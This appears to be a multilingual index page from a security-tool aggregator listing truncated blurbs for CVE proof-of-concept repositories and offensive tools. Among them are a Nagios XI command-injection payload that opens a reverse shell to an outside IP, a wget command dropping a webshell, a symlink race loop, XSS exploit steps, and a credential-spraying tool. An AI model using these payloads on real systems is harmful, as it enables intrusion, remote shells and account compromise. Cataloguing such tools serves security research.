pdtm

Administrador de herramientas de código abierto de ProjectDiscovery Características • • • •...

CVE-2023-4771

CKEditor AJAX 示例中的跨站脚本漏洞 CVE-2023-4771 PoC CKEditor 4 AJAX 示例中的跨站脚本（XSS）漏洞 本文档介绍如何使用 CKEditor 利用此 XSS 漏洞（CVE-2023-4771）。 请务必极其谨慎地按以下步骤操作： 先决条件 • 拥有对 CKEditor 实例的访问权限。 文件：ckeditor/samples/old/ajax.html。 利用 XSS 漏洞的步骤： 访问 CKEditor 示例页面 打开你常用的浏览器，访问此 URL：/ckeditor/samples/old/ajax.html。该 URL 应指向被测 We...

CVE-2024-10930

CVE 披露：CVE-2024-10930 CVE-2024-10930 的公开披露 日期： 12-02-2025 摘要 Carrier 产品 E20-BLK416X.EXE 版本 4.16 中发现了一个漏洞，可能导致本地权限提升。该问题已被分配标识符 CVE-2024-10930 。供应商将发布一份公告，提供更多详情和修复步骤。 受影响产品 供应商 ：Carrier 产品 ：E20-BLK416X.EXE 版本 ：4.16 更新版本 ：4.2 漏洞描述 Carrier 被告知 Block Load 软件中存在一个问题，该问题可能在运行 Block Load...

CVE-2022-36537

CVE-2022-36537 摘要 R1Soft Server Backup Manager 使用 ZK 框架作为主要框架。其安全性要求所有 Web3 项目方更加关注各种 Web3 基础设施的安全漏洞，并及时修补，以避免潜在的安全风险和数字资产损失。我们将及时挖掘、追踪 web3 上的各种安全风险，并提供领先的安全解决方案，确保 web3 世界链上和链下的安全无忧。 前言 ZK 是构建企业级 Web 应用程序的领先开源 Java Web 框架。ZK 拥有超过 2,000,000 次下载，为从小型企业到《财富》全球 500 强的多种行业中的各种公司和机构提供支持。 R1Soft Serve...

CVE-2019-2888

CVE-2019-2888 WebLogic EJBTaglibDescriptor XXE 脆弱性 https://www.oracle.com/security-alerts/cpuoct2019.html fernflower.jar weblogic.jar/weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor.class root@kitploit: ╭─root@jas502n /var ╰─ find ./ |grep EJBTaglibDescriptor  ✔  8388  18:32:43...

cve-2022-21658

CVE-2022-21658 poc 请确保使用 Rust 1.58.0 版本 。 首先运行： root@kitploit: while :; do mkdir /tmp/legit; rm -r /tmp/legit; ln -s /tmp/sensitive /tmp/legit; done 然后： root@kitploit: cargo run...

CVE-2025-4822

CVE-2025-4822 正在等待 USOM 的正式公告。...

Klyda

Klyda项目旨在帮助针对在线Web应用进行快速的基于凭证的攻击。 Klyda支持从简单的密码喷洒到大型多线程字典攻击的使用。 Klyda是一个新项目，我正在寻找任何贡献。任何帮助都非常感激。 Klyda提供简单易记的使用方式，同时仍可根据您的需求进行配置： 多线程任务 组合字典文件以进行更大规模攻击 黑名单数据以缩小结果范围 限制线程速度以隐秘目的 安装与使用 1 将Git仓库克隆到本地，git clone https://github.com/Xeonrx/Klyda 2 进入Klyda目录，cd Klyda 3 通过Pip安装必要的模块，pip install requests...

springcloudRCE

springcloudRCE Spring Cloud Gateway RCE - CVE-2022-22947...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE および外部リソースのロード脆弱性、発見者 @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 エクスプロイト カレントディレクトリにウェブシェルをドロップするためのサンプルです。 root@kitploit: python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output...

CVE-2019-20197

CVE-2019-20197 Nagios XI远程命令执行漏洞 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

fortigate-belsen-leak

╔═════════════════════════════════════════════════════════════════════════════╗ ║ ███████╗ ██████╗ ██████╗ ████████╗██╗ ██████╗ █████╗ ████████╗███████╗ ║ ║ ██╔════╝██╔═══██╗██╔══██╗╚══██╔══╝██║██╔════╝ ██╔══██╗╚══██╔══╝██╔════╝ ║ ║ █████╗ ██║ ██║██████╔╝ ██║ ██║██║ ███╗███████║ ██║ █████╗ ║ ║...

CVE-2025-55182-POC-SCANNER

CVE-2025-55182: React Server Componentsにおける認証前の重大なリモートコード実行 セキュリティ研究 byschema.cx "制御は幻想だ。我々を制御するのは、我々が構築したシステムだ—まずそれを理解しない限り。" 📋 目次 免責事項および法的通知 エグゼクティブサマリー 技術的説明 影響を受けるシステム 概念実証 影響評価 緩和策と是正措置 責任ある開示のタイムライン 参考文献 帰属 ⚠️ 免責事項および法的通知 このツールは認可されたセキュリティテスト専用です 停止。続行する前にこれを読んでください。...

Zphisher-GUI-Back_office

Mi website: https://microjoan.com My YouTube Channel: https://www.youtube.com/c/MicroJoan 免責事項 このツールキットには、ソーシャルメディアに損害や危険をもたらす可能性のある素材が含まれています。アクセス、使用、または誤った方法で利用する前に、あなたの州/国の法律を参照してください。 このツールは教育目的のみで作成されています。ここに含まれる内容を使って法律に違反しようとしないでください。もしその意図があるなら、ここから出て行ってください！...

wa-crypt-tools

WhatsApp Crypt Tools ¡Descifra y cifra archivos .crypt12, .crypt14 y .crypt15 de WhatsApp y WA Business con facilidad! Para el descifrado, NECESITAS el archivo de clave o la clave de 64 caracteres. El archivo de clave se llama "key" si la copia de seguridad es crypt14 o "encryptedbackup.key" si l...

CVE-2019-19781

CVE-2019-19781 Citrix ADC リモートコード実行 python 使用方法: python CVE-2019-19781.py http://192.168.3.244 0x01 NSVPX-ESX-13.0-47.22nc64.zip のダウンロード https://www.citrix.com/downloads/citrix-gateway/ 静的ネットワークの設定...

WindowsProtocolTestSuites

Windows Protocol Test Suites Windows Protocol Test Suites provide interoperability testing against the implementation of Windows open specifications including File Services, Identity Management, Remote Desktop and etc. Originally developed for in-house testing of the Microsoft Open Specifications...

conjur

Conjur Maintainability Test Coverage Conjurは、現代のインフラストラクチャ向けにシークレット管理とアプリケーションIDを提供します。 マシン認証マークアップ言語（"MAML"） ：ロールベースのアクセスポリシー言語で、システムコンポーネントとそのロール、権限、メタデータを定義します。 REST Webサービス ： 人間とマシンのIDライフサイクルを管理 シークレットインフラ内のロールとデータを整理・検索 高度な権限モデルを使用してリソースへのアクセスを承認 シークレットを保存し、安全に利用可能にする クラウドツールチェーン全体の統合 ：...

GeoSentinel

🌍 GeoSentinel GeoSentinel 是一个地理空间监控平台，可实时跟踪全球动向。 它将船舶和航班路线、实时坐标以及地理数据整合到一个统一系统中，为分析、可视化和决策提供清晰的地理和地缘政治洞察。 🚀 !TIP 🚀 访问博客（Geo Sentinel 更新与见解） 🌐 打开博客 🚀 官方网站 🌍 访问网站 🚀 官方网站 🌍 访问网站 !CAUTION 🚨 Geo Sentinel AI 更新 — 及时了解最新的 Geo Sentinel AI 版本和公告。 📝 在此订阅 🎥 视频教程 — 了解如何使用 Geo Sentinel AI 。 ▶️ 观看视频 🎥 视频教程 — Ge...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x 未認証リモートコード実行脆弱性 Ps： 一部のPoCでは送信パケットが403となり、200にならない 判断強化：echo md5'vBulletin'; レスポンスパケットにbe4ea51d962be8308a0099ae1eb3ec63が含まれているか確認 print r.text.split'be4ea51d962be8308a0099ae1eb3ec63'0 CVE-2019-16759.py root@kitploit: import requests import sys if lensys.argv != 2:...